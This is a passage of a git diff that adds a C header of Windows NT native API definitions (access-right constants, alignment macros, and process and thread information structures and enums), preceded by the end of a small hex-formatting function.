+ if (s==0) + return 16; + + for (c = 0; c<16; c++) { + p = (wchar_t)(x & 0xf); + x >>= 4; + + if (p<10) + p += L'0'; + else + p = L'A' + (p-10); + + s[15-c] = p; + } + + s[16] = 0; + return 16; +} diff --git a/Source/Hamakaze/ntdll/ntos.h b/Source/Hamakaze/ntdll/ntos.h new file mode 100644 index 0000000..59ea638 --- /dev/null +++ b/Source/Hamakaze/ntdll/ntos.h @@ -0,0 +1,11605 @@ +/************************************************************************************ +* +* (C) COPYRIGHT AUTHORS, 2015 - 2020 +* Translated from Microsoft sources/debugger or mentioned elsewhere. +* +* TITLE: NTOS.H +* +* VERSION: 1.126 +* +* DATE: 22 Jan 2020 +* +* Common header file for the ntos API functions and definitions. +* +* Only projects required API/definitions. +* +* Depends on: Windows.h +* NtStatus.h +* +* Include: Windows.h +* NtStatus.h +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +************************************************************************************/ + +#ifndef NTOS_RTL +#define NTOS_RTL + + +// +// NTOS_RTL HEADER BEGIN +// + +#if defined(__cplusplus) +extern "C" { +#endif + +#pragma comment(lib, "ntdll.lib") + +#pragma warning(push) +#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union +#pragma warning(disable: 4214) // nonstandard extension used : bit field types other than int + +#ifndef PAGE_SIZE +#define PAGE_SIZE 0x1000ull +#endif + +#ifndef ABSOLUTE_TIME +#define ABSOLUTE_TIME(wait) (wait) +#endif + +#ifndef RELATIVE_TIME +#define RELATIVE_TIME(wait) (-(wait)) +#endif + +#ifndef NANOSECONDS +#define NANOSECONDS(nanos) (((signed __int64)(nanos)) / 100L) +#endif + +#ifndef MICROSECONDS +#define MICROSECONDS(micros) (((signed __int64)(micros)) * NANOSECONDS(1000L)) +#endif + +#ifndef MILLISECONDS +#define MILLISECONDS(milli) (((signed __int64)(milli)) * MICROSECONDS(1000L)) +#endif + +#ifndef SECONDS +#define SECONDS(seconds) (((signed __int64)(seconds)) * MILLISECONDS(1000L)) +#endif + +#ifndef POI //poi-poi +#define POI(addr) *(ULONG *)(addr) +#endif + +typedef char CCHAR; +typedef unsigned char UCHAR; +typedef CCHAR KPROCESSOR_MODE; +typedef UCHAR KIRQL; +typedef KIRQL *PKIRQL; +typedef ULONG CLONG; +typedef LONG KPRIORITY; +typedef short CSHORT; +typedef ULONGLONG REGHANDLE, *PREGHANDLE; +typedef PVOID *PDEVICE_MAP; +typedef PVOID PHEAD; +typedef struct _IO_TIMER* PIO_TIMER; + +#ifndef _WIN32_WINNT_WIN10 +#define _WIN32_WINNT_WIN10 0x0A00 +#endif +#if (_WIN32_WINNT < _WIN32_WINNT_WIN10) +typedef PVOID PMEM_EXTENDED_PARAMETER; +#endif + +#ifndef IN_REGION +#define IN_REGION(x, Base, Size) (((ULONG_PTR)(x) >= (ULONG_PTR)(Base)) && \ + ((ULONG_PTR)(x) <= (ULONG_PTR)(Base) + (ULONG_PTR)(Size))) +#endif + +// +// Define alignment macros to align structure sizes and pointers up and down. +// + +#ifndef ALIGN_UP_TYPE +#define ALIGN_UP_TYPE(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1)) +#endif + +#ifndef ALIGN_UP +#define ALIGN_UP(Address, Type) ALIGN_UP_TYPE(Address, sizeof(Type)) +#endif + +#ifndef ALIGN_DOWN_TYPE +#define ALIGN_DOWN_TYPE(Address, Align) ((ULONG_PTR)(Address) & ~((ULONG_PTR)(Align) - 1)) +#endif + +#ifndef ALIGN_DOWN +#define ALIGN_DOWN(Address, Type) ALIGN_DOWN_TYPE(Address, sizeof(Type)) +#endif + +#ifndef ALIGN_UP_BY +#define ALIGN_UP_BY(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1)) +#endif + +#ifndef ALIGN_DOWN_BY +#define ALIGN_DOWN_BY(Address, Align) ((ULONG_PTR)(Address) & ~((ULONG_PTR)(Align) - 1)) +#endif + +#ifndef ALIGN_UP_POINTER_BY +#define ALIGN_UP_POINTER_BY(Pointer, Align) ((PVOID)ALIGN_UP_BY(Pointer, Align)) +#endif + +#ifndef ALIGN_DOWN_POINTER_BY +#define ALIGN_DOWN_POINTER_BY(Pointer, Align) ((PVOID)ALIGN_DOWN_BY(Pointer, Align)) +#endif + +#ifndef ALIGN_UP_POINTER +#define ALIGN_UP_POINTER(Pointer, Type) ((PVOID)ALIGN_UP(Pointer, Type)) +#endif + +#ifndef ALIGN_DOWN_POINTER +#define ALIGN_DOWN_POINTER(Pointer, Type) ((PVOID)ALIGN_DOWN(Pointer, Type)) +#endif + +#ifndef ARGUMENT_PRESENT +#define ARGUMENT_PRESENT(ArgumentPointer) (\ + (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) +#endif + +#ifndef LOGICAL +#define LOGICAL ULONG +#endif + +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) +#define ZwCurrentProcess() NtCurrentProcess() +#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2) +#define ZwCurrentThread() NtCurrentThread() +#define NtCurrentSession() ((HANDLE)(LONG_PTR)-3) +#define ZwCurrentSession() NtCurrentSession() + +//Valid Only for Windows 8+ +#define NtCurrentProcessToken() ((HANDLE)(LONG_PTR)-4) +#define NtCurrentThreadToken() ((HANDLE)(LONG_PTR)-5) +#define NtCurrentEffectiveToken() ((HANDLE)(LONG_PTR)-6) + +// +// ntdef.h begin +// +#ifndef RTL_CONSTANT_STRING +char _RTL_CONSTANT_STRING_type_check(const void *s); +#define _RTL_CONSTANT_STRING_remove_const_macro(s) (s) +#define RTL_CONSTANT_STRING(s) \ +{ \ + sizeof( s ) - sizeof( (s)[0] ), \ + sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \ + _RTL_CONSTANT_STRING_remove_const_macro(s) \ +} +#endif + +#ifndef RTL_CONSTANT_OBJECT_ATTRIBUTES +#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) \ + { sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL } +#endif + +// This synonym is more appropriate for initializing what isn't actually const. +#ifndef RTL_INIT_OBJECT_ATTRIBUTES +#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) +#endif + +// +// ntdef.h end +// +#ifndef RtlOffsetToPointer +#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) )) +#endif + +#ifndef RtlPointerToOffset +#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) )) +#endif + +// +// Valid values for the OBJECT_ATTRIBUTES.Attributes field +// +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +// +// Callback Object Rights +// +#define CALLBACK_MODIFY_STATE 0x0001 +#define CALLBACK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|CALLBACK_MODIFY_STATE ) + +// +// CompositionSurface Access Rights +// +#ifndef COMPOSITIONSURFACE_READ +#define COMPOSITIONSURFACE_READ 0x0001L +#endif + +#ifndef COMPOSITIONSURFACE_WRITE +#define COMPOSITIONSURFACE_WRITE 0x0002L +#endif + +#ifndef COMPOSITIONSURFACE_ALL_ACCESS +#define COMPOSITIONSURFACE_ALL_ACCESS (COMPOSITIONSURFACE_READ | COMPOSITIONSURFACE_WRITE) +#endif + +// +// Debug Object Access Rights +// +#define DEBUG_READ_EVENT (0x0001) +#define DEBUG_PROCESS_ASSIGN (0x0002) +#define DEBUG_SET_INFORMATION (0x0004) +#define DEBUG_QUERY_INFORMATION (0x0008) +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|DEBUG_READ_EVENT|DEBUG_PROCESS_ASSIGN|\ + DEBUG_SET_INFORMATION|DEBUG_QUERY_INFORMATION) + +// +// Directory Object Access Rights +// +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) + +// +// Event Object Access Rights +// +#define EVENT_QUERY_STATE 0x0001 +#define EVENT_MODIFY_STATE 0x0002 +#define EVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +// +// EventPair Object Access Rights +// +#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE) + +// +// I/O Completion Object Access Rights +// +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +// +// KeyedEvent Object Access Rights +// +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +// +// Mutant Object Access Rights +// +#define MUTANT_QUERY_STATE 0x0001 +#ifndef MUTANT_ALL_ACCESS //SDK compatibility +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|MUTANT_QUERY_STATE) +#endif + +// +// Port Object Access Rights +// +#define PORT_CONNECT (0x0001) +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | PORT_CONNECT) + +// +// Profile Object Access Rights +// +#define PROFILE_CONTROL (0x0001) +#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL) + +// +// Semaphore Object Access Rights +// +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +// +// SymbolicLink Object Access Rights +// +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYMBOLIC_LINK_QUERY) + +// +// Thread Object Access Rights +// +#define THREAD_ALERT (0x0004) + +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 +#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 +#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010 +#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020 +#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 + +// +// Worker Factory Object Access Rights +// +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define WORKER_FACTORY_ALL_ACCESS ( \ + STANDARD_RIGHTS_REQUIRED | \ + WORKER_FACTORY_RELEASE_WORKER | \ + WORKER_FACTORY_WAIT | \ + WORKER_FACTORY_SET_INFORMATION | \ + WORKER_FACTORY_QUERY_INFORMATION | \ + WORKER_FACTORY_READY_WORKER | \ + WORKER_FACTORY_SHUTDOWN \ + ) + +// +// Type Object Access Rights +// +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | OBJECT_TYPE_CREATE) + +// +// WMI Object Access Rights +// +#define WMIGUID_QUERY 0x0001 +#define WMIGUID_SET 0x0002 +#define WMIGUID_NOTIFICATION 0x0004 +#define WMIGUID_READ_DESCRIPTION 0x0008 +#define WMIGUID_EXECUTE 0x0010 +#define TRACELOG_CREATE_REALTIME 0x0020 +#define TRACELOG_CREATE_ONDISK 0x0040 +#define TRACELOG_GUID_ENABLE 0x0080 +#define TRACELOG_ACCESS_KERNEL_LOGGER 0x0100 +#define TRACELOG_CREATE_INPROC 0x0200 +#define TRACELOG_ACCESS_REALTIME 0x0400 +#define TRACELOG_REGISTER_GUIDS 0x0800 +#define TRACELOG_JOIN_GROUP 0x1000 + +// +// Memory Partition Object Access Rights +// +#define MEMORY_PARTITION_QUERY_ACCESS 0x0001 +#define MEMORY_PARTITION_MODIFY_ACCESS 0x0002 + +#define MEMORY_PARTITION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + SYNCHRONIZE | \ + MEMORY_PARTITION_QUERY_ACCESS | \ + MEMORY_PARTITION_MODIFY_ACCESS) + +// +// NtCreateProcessEx specific flags. +// +#define PS_REQUEST_BREAKAWAY 1 +#define PS_NO_DEBUG_INHERIT 2 +#define PS_INHERIT_HANDLES 4 +#define PS_LARGE_PAGES 8 +#define PS_ALL_FLAGS (PS_REQUEST_BREAKAWAY | \ + PS_NO_DEBUG_INHERIT | \ + PS_INHERIT_HANDLES | \ + PS_LARGE_PAGES) + +// +// Define special ByteOffset parameters for read and write operations +// +#ifndef FILE_WRITE_TO_END_OF_FILE +#define FILE_WRITE_TO_END_OF_FILE 0xffffffff +#endif +#ifndef FILE_USE_FILE_POINTER_POSITION +#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe +#endif + +// +// This is the maximum MaximumLength for a UNICODE_STRING. +// +#ifndef MAXUSHORT +#define MAXUSHORT 0xffff +#endif +#ifndef MAX_USTRING +#define MAX_USTRING ( sizeof(WCHAR) * (MAXUSHORT/sizeof(WCHAR)) ) +#endif + +typedef struct _EX_RUNDOWN_REF { + union + { + ULONG Count; + PVOID Ptr; + }; +} EX_RUNDOWN_REF, *PEX_RUNDOWN_REF; + +#ifdef _WIN64 +#define MAX_FAST_REFS 15 +#else +#define MAX_FAST_REFS 7 +#endif + +typedef struct _EX_FAST_REF { + union { + PVOID Object; +#if defined (_WIN64) + ULONG_PTR RefCnt : 4; +#else + ULONG_PTR RefCnt : 3; +#endif + ULONG_PTR Value; + }; +} EX_FAST_REF, *PEX_FAST_REF; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +#ifndef STATIC_UNICODE_STRING +#define STATIC_UNICODE_STRING(string, value) \ + static UNICODE_STRING string = { sizeof(value) - sizeof(WCHAR), sizeof(value), value }; +#endif + +typedef struct _STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; +typedef CONST char *PCSZ; + +typedef struct _CSTRING { + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +/* +** FileCache and MemoryList START +*/ + +typedef enum _SYSTEM_MEMORY_LIST_COMMAND { + MemoryCaptureAccessedBits, + MemoryCaptureAndResetAccessedBits, + MemoryEmptyWorkingSets, + MemoryFlushModifiedList, + MemoryPurgeStandbyList, + MemoryPurgeLowPriorityStandbyList, + MemoryCommandMax +} SYSTEM_MEMORY_LIST_COMMAND; + +typedef struct _SYSTEM_FILECACHE_INFORMATION { + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; + +/* +** FileCache and MemoryList END +*/ + +/* +** Processes START +*/ + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +typedef enum _THREAD_STATE { + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, //has no effect after 7 + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + WrAlertByThreadId, + WrDeferredPreempt, + WrPhysicalFault, + MaximumWaitReason +} KWAIT_REASON; + +typedef VOID KSTART_ROUTINE( + _In_ PVOID StartContext +); +typedef KSTART_ROUTINE *PKSTART_ROUTINE; + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _CLIENT_ID64 { + ULONG64 UniqueProcess; + ULONG64 UniqueThread; +} CLIENT_ID64, *PCLIENT_ID64; + +typedef struct _CLIENT_ID32 { + ULONG32 UniqueProcess; + ULONG32 UniqueThread; +} CLIENT_ID32, *PCLIENT_ID32; + +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION { + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + PVOID TebBase; + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +typedef enum _SYSTEM_PROCESS_CLASSIFICATION { + SystemProcessClassificationNormal, + SystemProcessClassificationSystem, + SystemProcessClassificationSecureSystem, + SystemProcessClassificationMemCompression, + SystemProcessClassificationRegistry, + SystemProcessClassificationMaximum +} SYSTEM_PROCESS_CLASSIFICATION; + +typedef struct _PROCESS_DISK_COUNTERS { + ULONGLONG BytesRead; + ULONGLONG BytesWritten; + ULONGLONG ReadOperationCount; + ULONGLONG WriteOperationCount; + ULONGLONG FlushOperationCount; +} PROCESS_DISK_COUNTERS, *PPROCESS_DISK_COUNTERS; + +typedef union _ENERGY_STATE_DURATION { + union + { + ULONGLONG Value; + ULONG LastChangeTime; + }; + + ULONG Duration : 31; + ULONG IsInState : 1; +} ENERGY_STATE_DURATION, *PENERGY_STATE_DURATION; + +typedef struct _PROCESS_ENERGY_VALUES { + ULONGLONG Cycles[2][4]; + ULONGLONG DiskEnergy; + ULONGLONG NetworkTailEnergy; + ULONGLONG MBBTailEnergy; + ULONGLONG NetworkTxRxBytes; + ULONGLONG MBBTxRxBytes; + union + { + ENERGY_STATE_DURATION Durations[3]; + struct + { + ENERGY_STATE_DURATION ForegroundDuration; + ENERGY_STATE_DURATION DesktopVisibleDuration; + ENERGY_STATE_DURATION PSMForegroundDuration; + }; + }; + ULONG CompositionRendered; + ULONG CompositionDirtyGenerated; + ULONG CompositionDirtyPropagated; + ULONG Reserved1; + ULONGLONG AttributedCycles[4][2]; + ULONGLONG WorkOnBehalfCycles[4][2]; +} PROCESS_ENERGY_VALUES, *PPROCESS_ENERGY_VALUES; + +typedef struct _SYSTEM_PROCESS_INFORMATION_EXTENSION { + PROCESS_DISK_COUNTERS DiskCounters; + ULONGLONG ContextSwitches; + union + { + ULONG Flags; + struct + { + ULONG HasStrongId : 1; + ULONG Classification : 4; // SYSTEM_PROCESS_CLASSIFICATION + ULONG BackgroundActivityModerated : 1; + ULONG Spare : 26; + }; + }; + ULONG UserSidOffset; + ULONG PackageFullNameOffset; + PROCESS_ENERGY_VALUES EnergyValues; + ULONG AppIdOffset; + SIZE_T SharedCommitCharge; + ULONG JobObjectId; + ULONG SpareUlong; + ULONGLONG ProcessSequenceNumber; +} SYSTEM_PROCESS_INFORMATION_EXTENSION, *PSYSTEM_PROCESS_INFORMATION_EXTENSION; + +typedef struct _SYSTEM_PROCESSES_FULL_INFORMATION { + SYSTEM_PROCESSES_INFORMATION ProcessAndThreads; + SYSTEM_PROCESS_INFORMATION_EXTENSION ExtendedInfo; +} SYSTEM_PROCESSES_FULL_INFORMATION, *PSYSTEM_PROCESSES_FULL_INFORMATION; + +typedef struct _SYSTEM_PROCESS_ID_INFORMATION { + HANDLE ProcessId; + UNICODE_STRING ImageName; +} SYSTEM_PROCESS_ID_INFORMATION, *PSYSTEM_PROCESS_ID_INFORMATION; + +typedef struct _SYSTEM_SECUREBOOT_INFORMATION { + BOOLEAN SecureBootEnabled; + BOOLEAN SecureBootCapable; +} SYSTEM_SECUREBOOT_INFORMATION, *PSYSTEM_SECUREBOOT_INFORMATION; + +typedef struct _SYSTEM_SECUREBOOT_POLICY_INFORMATION { + GUID PolicyPublisher; + ULONG PolicyVersion; + ULONG PolicyOptions; +} SYSTEM_SECUREBOOT_POLICY_INFORMATION, *PSYSTEM_SECUREBOOT_POLICY_INFORMATION; + +typedef struct _SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION { + SYSTEM_SECUREBOOT_POLICY_INFORMATION PolicyInformation; + ULONG PolicySize; + UCHAR Policy[1]; +} SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION, *PSYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION; + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + ULONG NumberOfPhysicalPages; + ULONG LowestPhysicalPageNumber; + ULONG HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION { + BOOLEAN SecureKernelRunning : 1; + BOOLEAN HvciEnabled : 1; + BOOLEAN HvciStrictMode : 1; + BOOLEAN DebugEnabled : 1; + BOOLEAN FirmwarePageProtection : 1; + BOOLEAN EncryptionKeyAvailable : 1; + BOOLEAN SpareFlags : 2; + BOOLEAN TrustletRunning : 1; + BOOLEAN HvciDisableAllowed : 1; + BOOLEAN SpareFlags2 : 6; + BOOLEAN Spare0[6]; + ULONGLONG Spare1; +} SYSTEM_ISOLATED_USER_MODE_INFORMATION, *PSYSTEM_ISOLATED_USER_MODE_INFORMATION; + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessQuotaLimits = 1, + ProcessIoCounters = 2, + ProcessVmCounters = 3, + ProcessTimes = 4, + ProcessBasePriority = 5, + ProcessRaisePriority = 6, + ProcessDebugPort = 7, + ProcessExceptionPort = 8, + ProcessAccessToken = 9, + ProcessLdtInformation = 10, + ProcessLdtSize = 11, + ProcessDefaultHardErrorMode = 12, + ProcessIoPortHandlers = 13, + ProcessPooledUsageAndLimits = 14, + ProcessWorkingSetWatch = 15, + ProcessUserModeIOPL = 16, + ProcessEnableAlignmentFaultFixup = 17, + ProcessPriorityClass = 18, + ProcessWx86Information = 19, + ProcessHandleCount = 20, + ProcessAffinityMask = 21, + ProcessPriorityBoost = 22, + ProcessDeviceMap = 23, + ProcessSessionInformation = 24, + ProcessForegroundInformation = 25, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessLUIDDeviceMapsEnabled = 28, + ProcessBreakOnTermination = 29, + ProcessDebugObjectHandle = 30, + ProcessDebugFlags = 31, + ProcessHandleTracing = 32, + ProcessIoPriority = 33, + ProcessExecuteFlags = 34, + ProcessTlsInformation = 35, + ProcessCookie = 36, + ProcessImageInformation = 37, + ProcessCycleTime = 38, + ProcessPagePriority = 39, + ProcessInstrumentationCallback = 40, + ProcessThreadStackAllocation = 41, + ProcessWorkingSetWatchEx = 42, + ProcessImageFileNameWin32 = 43, + ProcessImageFileMapping = 44, + ProcessAffinityUpdateMode = 45, + ProcessMemoryAllocationMode = 46, + ProcessGroupInformation = 47, + ProcessTokenVirtualizationEnabled = 48, + ProcessOwnerInformation = 49, + ProcessWindowInformation = 50, + ProcessHandleInformation = 51, + ProcessMitigationPolicy = 52, + ProcessDynamicFunctionTableInformation = 53, + ProcessHandleCheckingMode = 54, + ProcessKeepAliveCount = 55, + ProcessRevokeFileHandles = 56, + ProcessWorkingSetControl = 57, + ProcessHandleTable = 58, + ProcessCheckStackExtentsMode = 59, + ProcessCommandLineInformation = 60, + ProcessProtectionInformation = 61, + ProcessMemoryExhaustion = 62, + ProcessFaultInformation = 63, + ProcessTelemetryIdInformation = 64, + ProcessCommitReleaseInformation = 65, + ProcessDefaultCpuSetsInformation = 66, + ProcessAllowedCpuSetsInformation = 67, + ProcessSubsystemProcess = 68, + ProcessJobMemoryInformation = 69, + ProcessInPrivate = 70, + ProcessRaiseUMExceptionOnInvalidHandleClose = 71, + ProcessIumChallengeResponse = 72, + ProcessChildProcessInformation = 73, + ProcessHighGraphicsPriorityInformation = 74, + ProcessSubsystemInformation = 75, + ProcessEnergyValues = 76, + ProcessActivityThrottleState = 77, + ProcessActivityThrottlePolicy = 78, + ProcessWin32kSyscallFilterInformation = 79, + ProcessDisableSystemAllowedCpuSets = 80, + ProcessWakeInformation = 81, + ProcessEnergyTrackingState = 82, + ProcessManageWritesToExecutableMemory = 83, + ProcessCaptureTrustletLiveDump = 84, + ProcessTelemetryCoverage = 85, + ProcessEnclaveInformation = 86, + ProcessEnableReadWriteVmLogging = 87, + ProcessUptimeInformation = 88, + ProcessImageSection = 89, + ProcessDebugAuthInformation = 90, + ProcessSystemResourceManagement = 91, + ProcessSequenceNumber = 92, + ProcessLoaderDetour = 93, + ProcessSecurityDomainInformation = 94, + ProcessCombineSecurityDomainsInformation = 95, + ProcessEnableLogging = 96, + ProcessLeapSecondInformation = 97, + ProcessFiberShadowStackAllocation = 98, + ProcessFreeFiberShadowStackAllocation = 99, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + ThreadTimes, + ThreadPriority, 